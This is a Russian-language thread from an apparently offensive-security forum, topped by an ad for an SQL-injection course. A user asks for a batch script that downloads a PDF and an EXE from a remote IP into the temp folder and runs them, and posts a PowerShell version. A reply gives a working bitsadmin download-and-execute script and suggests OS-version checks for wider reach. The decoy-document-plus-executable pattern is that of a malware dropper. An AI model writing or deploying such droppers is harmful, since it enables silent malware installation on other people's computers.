• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

как bat-файлом подгрузить с инета файл и исполнить его?

AlCat

Active member
30.10.2018
38
0
BIT
0
Файлы находятся по этим адресам http://xxx.xxx.xxx.xxx/12345.pdf и http://xxx.xxx.xxx.xxx/123.exe
Хочется написать батничек, который бы скачивал эти файлики в папку %TEMP% и отправлял их на исполнение.
Вроде бы это можно сделать с помощью powershell.
Был написан скрипт:

@echo off
Код:
set files='http://xxx.xxx.xxx.xxx/12345.pdf', 'http://xxx.xxx.xxx.xxx/123.exe'

powershell "(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
Пробовал на разных Win7 и 10. Где то срабатывает нормально, где то появляется ошибка типа "диск с именем http не существует". Сам не силен в powershell`е.
Прошу помощи в написании скрипта.
 

Proxy n1nja

Green Team
28.06.2018
118
149
BIT
0
Код:
@echo off
bitsadmin /transfer debjob /download /priority normal http://xxx.xxx.xxx.xxx/filename.pdf %temp%\filename.pdf
bitsadmin /transfer debjob /download /priority normal http://xxx.xxx.xxx.xxx/filename.exe %temp%\filename.exe
start %tempt%filename.pdf & start %temp%filename.exe
Отработает на всех версиях Windows которые выше XP т.к. в XP нет bitsadmin (насколько я помню, нет под рукой ХР что бы проверить)
Вообще можно все это сделать в одну строку, добавить в задание bitsadmin несколько файлов, запилить определение версии ос и в зависимости от разных версий грузить файлы разными способами, но сорян, мне лень писать это за тебя.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!